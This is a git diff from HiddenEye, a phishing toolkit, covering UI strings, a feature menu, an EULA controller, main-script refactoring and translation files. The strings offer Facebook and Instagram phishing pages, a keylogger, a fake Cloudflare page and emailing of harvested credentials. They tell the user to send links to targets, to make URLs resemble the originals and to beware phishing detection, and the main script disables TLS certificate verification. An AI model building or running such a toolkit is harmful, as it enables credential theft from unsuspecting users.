_("\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}"
|
||||
).format(default_palette[0], default_palette[4], default_palette[2]),
|
||||
"help_to_improve_this_tool":
|
||||
_("{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"tell_if_page_got_broken":
|
||||
_("{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"make_your_pull_request_or_issue":
|
||||
_("{0}[{1}!{0}] You can create issue or pull request on our GitHub page.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
"small_disclaimer_suggestion":
|
||||
_("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"forum_suggestion":
|
||||
_("{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"financial_support":
|
||||
_("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"thank_you":
|
||||
_("{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_credentials_collector = {
|
||||
"waiting_for_interaction" : _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n").format(default_palette[0], default_palette[2], default_palette[4]),
|
||||
"credentials_found" : _('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
|
||||
"device_details_found" : _('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
|
||||
"getting_pressed_keys" : _('\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n').format(default_palette[2], default_palette[3])
|
||||
"waiting_for_interaction":
|
||||
_("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n"
|
||||
).format(default_palette[0], default_palette[2], default_palette[4]),
|
||||
"credentials_found":
|
||||
_("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
"device_details_found":
|
||||
_("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
"getting_pressed_keys":
|
||||
_("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format(
|
||||
default_palette[2], default_palette[3]),
|
||||
}
|
||||
|
||||
lang_terms_of_service_message = {
|
||||
"great_power_great_responsibility" : _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY ").format(default_palette[0], default_palette[2]),
|
||||
"do_you_accept_license" : _("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[0]),
|
||||
"enter_this_to_confirm" : _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(default_palette[2], default_palette[0], text_to_confirm = text_to_confirm_license),
|
||||
"you_are_not_allowed" : _("{0}You are {1}not allowed {0}to use this app without accepting license.").format(default_palette[2], default_palette[0]),
|
||||
"GPL_3.0" : _("""
|
||||
"great_power_great_responsibility":
|
||||
_(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"do_you_accept_license":
|
||||
_("{0}Do you accept {1}license{0}?").format(default_palette[2],
|
||||
default_palette[0]),
|
||||
"enter_this_to_confirm":
|
||||
_("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(
|
||||
default_palette[2],
|
||||
default_palette[0],
|
||||
text_to_confirm=text_to_confirm_license),
|
||||
"you_are_not_allowed":
|
||||
_("{0}You are {1}not allowed {0}to use this app without accepting license."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"GPL_3.0":
|
||||
_("""
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
|
@ -750,5 +811,5 @@ may consider it more useful to permit linking proprietary applications with
|
|||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
""")
|
||||
}
|
||||
"""),
|
||||
}
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
feature_prompt = {
|
||||
"feature_alert":
|
||||
_("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
|
||||
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------"
|
||||
.format(default_palette[0], default_palette[4])),
|
||||
"keylogger":
|
||||
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"cloudfare":
|
||||
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"email":
|
||||
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"none":
|
||||
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
|
||||
default_palette[0], default_palette[2])),
|
||||
"example":
|
||||
_("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}"
|
||||
.format(default_palette[0], default_palette[2])),
|
||||
}
|
|
@ -4,9 +4,8 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
hidden_eye_logo = """
|
||||
|
@ -14,9 +13,20 @@ hidden_eye_logo = """
|
|||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0}
|
||||
{1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0}
|
||||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(default_palette[4], default_palette[2], default_palette[0])
|
||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(
|
||||
default_palette[4], default_palette[2], default_palette[0])
|
||||
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
|
||||
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
|
||||
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
|
||||
line_of_dots = '{0}...............................'.format(default_palette[0])
|
||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
|
||||
default_palette[2])
|
||||
official_website_link = "{0}https://dark-sec-official.com".format(
|
||||
default_palette[0])
|
||||
by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
|
||||
line_of_dots = "{0}...............................".format(default_palette[0])
|
||||
small_logo = """{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||
default_palette[2])
|
||||
invalid_option = "Please choose a valid option."
|
||||
|
|
|
@ -4,10 +4,8 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
|
||||
import gettext
|
||||
gettext.bindtextdomain('HiddenEye', 'locale')
|
||||
gettext.textdomain('HiddenEye')
|
||||
_ = gettext.gettext
|
||||
|
||||
gettext.bindtextdomain("HiddenEye", "locale")
|
||||
gettext.textdomain("HiddenEye")
|
||||
_ = gettext.gettext
|
||||
|
|
|
@ -5,5 +5,10 @@
|
|||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] #Will be replaced later, TODO
|
||||
default_palette = [
|
||||
"\033[91m",
|
||||
"\033[46m",
|
||||
"\033[36m",
|
||||
"\033[1;32m",
|
||||
"\033[0m",
|
||||
] # TODO Will be replaced later,
|
||||
|
|
48
HiddenEye.py
48
HiddenEye.py
|
@ -4,42 +4,38 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
from os import system, environ
|
||||
import multiprocessing
|
||||
import ssl
|
||||
from os import environ
|
||||
|
||||
import Defs.ActionManager.main_runner as main_runner
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.ActionManager.Server.server_runner as server_runner
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import multiprocessing
|
||||
import sys
|
||||
import ssl
|
||||
import Defs.FeatureManager.feature_prompt as prompt
|
||||
from controllers.EULA_controller import EULAController
|
||||
|
||||
if EULAController().check_eula_existence() is False:
|
||||
EULAController().generate_new_eula()
|
||||
if EULAController().check_eula_confirmation() is False:
|
||||
EULAController().confirm_eula()
|
||||
|
||||
simple_informant.license_handler()
|
||||
agreement = simple_informant.terms_of_service_message()
|
||||
if not agreement:
|
||||
exit()
|
||||
|
||||
if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None):
|
||||
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
||||
ssl, "_create_unverified_context", None):
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
||||
simple_informant.check_permissions()
|
||||
simple_informant.verify_connection()
|
||||
# verCheck() # For now it's useless, i'll rewrite it later, after release.
|
||||
simple_informant.check_php()
|
||||
#checkLocalxpose()
|
||||
|
||||
#checkOpenport()
|
||||
#checkPagekite()
|
||||
#checkLT()
|
||||
# checkLocalxpose()
|
||||
simple_informant.verify_connection()
|
||||
# checkOpenport()
|
||||
# checkPagekite()
|
||||
# checkLT()
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main_runner.start_main_menu()
|
||||
keylogger.add_keylogger_prompt()
|
||||
cloudflare.add_cloudflare_prompt()
|
||||
email_prompt.captured_data_email_prompt()
|
||||
prompt.feature_prompt()
|
||||
main_runner.enter_custom_redirecting_url()
|
||||
port = simple_informant.port_selector()
|
||||
|
||||
|
@ -47,10 +43,12 @@ if __name__ == "__main__":
|
|||
server_runner.start_server(port)
|
||||
server_runner.server_selection(port)
|
||||
|
||||
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
||||
simple_informant.credentials_collector(port)
|
||||
multiprocessing.Process(target=server_runner.start_server,
|
||||
args=(port, )).start()
|
||||
simple_informant.credentials_collector()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
|
||||
# When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors)
|
||||
port = "8080"
|
||||
simple_informant.exit_message(port)
|
||||
exit()
|
||||
|
|
|
@ -20,7 +20,8 @@ English description | <a href="README_RU.md">Описание на русско
|
|||
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=1.0.0&x2=0" ></a>
|
||||
<a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a>
|
||||
<a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&utm_medium=referral&utm_content=DarkSecDevelopers/HiddenEye&utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a>
|
||||
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield" alt="FOSSA Status"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
|
||||
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
|
||||
<a href="https://www.python.org/dev/peps/pep-0008/"><img title="PEP8" src="https://img.shields.io/badge/code%20style-pep8-orange.svg"></a>
|
||||
</p>
|
||||
|
||||
## DISCLAIMER
|
||||
|
|
1
__init__.py
Normal file
1
__init__.py
Normal file
|
@ -0,0 +1 @@
|
|||
|
69
controllers/EULA_controller.py
Normal file
69
controllers/EULA_controller.py
Normal file
|
@ -0,0 +1,69 @@
|
|||
import pathlib
|
||||
import stat
|
||||
from os import chmod
|
||||
from time import sleep
|
||||
|
||||
from views.EULA_view import EULAView
|
||||
|
||||
|
||||
class EULAController:
|
||||
def __init__(self, confirmation_text: str = "eula = True"):
|
||||
self.eula = "eula.txt"
|
||||
self.confirmation_text = confirmation_text
|
||||
self.license = open("LICENSE", "r")
|
||||
|
||||
def check_eula_existence(self):
|
||||
"""
|
||||
:return: True if self.eula exists
|
||||
"""
|
||||
if pathlib.Path(self.eula).exists():
|
||||
print(EULAView().EULA_messages["eula_found"])
|
||||
return True
|
||||
print(EULAView().EULA_messages["eula_not_found"])
|
||||
return False
|
||||
|
||||
def generate_new_eula(self):
|
||||
pathlib.Path(str(self.eula)).touch(exist_ok=True)
|
||||
text_license = self.license.read()
|
||||
with open(str(self.eula), "w+") as temp_eula:
|
||||
chmod(self.eula, 0o777)
|
||||
temp_eula.write("{0}\n{1}".format(
|
||||
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
|
||||
text_license,
|
||||
))
|
||||
temp_eula.close()
|
||||
|
||||
def check_eula_confirmation(self):
|
||||
with open(self.eula, "r") as file:
|
||||
if self.confirmation_text in file.read():
|
||||
print(EULAView().EULA_messages["eula_is_confirmed"])
|
||||
return True
|
||||
else:
|
||||
print(EULAView().EULA_messages["eula_is_not_confirmed"])
|
||||
return False
|
||||
|
||||
def confirm_eula(self):
|
||||
print(
|
||||
f'{self.license.read()}\n{EULAView().EULA_messages["eula_power_and_responsibility_message"]}\n')
|
||||
print(EULAView().EULA_messages["eula_full_disclaimer"])
|
||||
print(
|
||||
f'{EULAView().EULA_messages["eula_do_you_accept"]} \n\n{EULAView().EULA_messages["eula_enter_to_continue"]}\n')
|
||||
answer = input(
|
||||
EULAView().EULA_messages["eula_input_prompt"]).lower().replace(" ", "")
|
||||
if answer == "iaccepteula":
|
||||
eula_temp_input = open(self.eula, "rt")
|
||||
eula_temp_data = eula_temp_input.read().replace(
|
||||
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
|
||||
EULAView().EULA_messages["eula_start_of_file_confirmed"],
|
||||
)
|
||||
eula_temp_input.close()
|
||||
eula_temp_input = open(self.eula, "wt")
|
||||
eula_temp_input.write(eula_temp_data)
|
||||
eula_temp_input.close()
|
||||
print(EULAView().EULA_messages["eula_was_just_accepted"])
|
||||
sleep(1.5)
|
||||
pass
|
||||
else:
|
||||
print(EULAView().EULA_messages["eula_was_just_rejected"])
|
||||
sleep(1.5)
|
||||
exit()
|
|
@ -1,4 +1,7 @@
|
|||
<!DOCTYPE html>
|
||||
<-- WHY THIS FUCKING THING IS PLACED IN ROOT PROJECT DIRECTORY?! -->
|
||||
<-- AND WHY IT'S CALLED index.html WHEN IT'S ADDITIONAL PAGE? -->
|
||||
|
||||
<html lang="en" class="no-js">
|
||||
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
|
@ -168,4 +171,4 @@ Copyright © 2020 All rights reserved
|
|||
</script>
|
||||
<script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="6f2cc84ed21a56e1afac3a6d-|49" defer=""></script>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
|
Binary file not shown.
|
@ -5,8 +5,8 @@
|
|||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: \n"
|
||||
"POT-Creation-Date: 2020-05-11 14:09+0300\n"
|
||||
"PO-Revision-Date: 2020-05-11 14:10+0300\n"
|
||||
"POT-Creation-Date: 2020-06-09 02:44+0300\n"
|
||||
"PO-Revision-Date: 2020-06-09 02:48+0300\n"
|
||||
"Last-Translator: sTiKyt <stikyt@protonmail.com>\n"
|
||||
"Language-Team: \n"
|
||||
"Language: en\n"
|
||||
|
@ -91,8 +91,9 @@ msgstr ""
|
|||
"{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:49
|
||||
msgid "{0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode)"
|
||||
msgstr "{0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode)"
|
||||
msgid "{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
|
||||
msgstr ""
|
||||
"{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:51
|
||||
msgid "{0}[{1}3{0}]{1} New Google Web"
|
||||
|
@ -114,8 +115,8 @@ msgstr ""
|
|||
"{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:55
|
||||
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)"
|
||||
msgstr "{0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)"
|
||||
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
|
||||
msgstr "{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:55
|
||||
msgid "{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"
|
||||
|
@ -231,11 +232,223 @@ msgstr ""
|
|||
"\n"
|
||||
"{0}REDIRECT HERE>>> {1}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:14
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:14
|
||||
msgid ""
|
||||
"{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:15
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]{0}Select Any Available Server:{1}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]{0}Select Any Available Server:{1}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:24
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ LOCALHOST SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ LOCALHOST SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:25
|
||||
msgid "Your Localhost is "
|
||||
msgstr "Your Localhost is "
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:26
|
||||
msgid ""
|
||||
"\n"
|
||||
"[*] Starting Server On Address:: {0}:{1}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"[*] Starting Server On Address:: {0}:{1}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:27
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:28
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:29
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} Localhost URL: {2}http://"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} Localhost URL: {2}http://"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:33
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ NGROK SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ NGROK SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:34
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:35
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} NGROK URL: {2}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} NGROK URL: {2}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:39
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ RANDOM SERVEO URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ RANDOM SERVEO URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:40
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ CUSTOM SERVEO URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ CUSTOM SERVEO URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:41
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:42
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:43
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}Insert a custom subdomain for serveo"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}Insert a custom subdomain for serveo"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:44
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} SERVEO URL: {2}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} SERVEO URL: {2}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:45
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}FAILED TO GET THIS DOMAIN."
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}FAILED TO GET THIS DOMAIN."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:46
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:47
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:48
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:49
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be "
|
||||
"careful."
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be "
|
||||
"careful."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:50
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:54
|
||||
msgid ""
|
||||
"{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? "
|
||||
"{1}Y{0}/{1}n{0}"
|
||||
msgstr ""
|
||||
"{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? "
|
||||
"{1}Y{0}/{1}n{0}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:58
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:16
|
||||
msgid "Yes, i do"
|
||||
msgstr "Yes, i do"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:15
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:18
|
||||
msgid ""
|
||||
"\n"
|
||||
" # To Accept EULA set eula to True\n"
|
||||
|
@ -249,162 +462,220 @@ msgstr ""
|
|||
" \n"
|
||||
" "
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:22
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:25
|
||||
msgid ""
|
||||
"\n"
|
||||
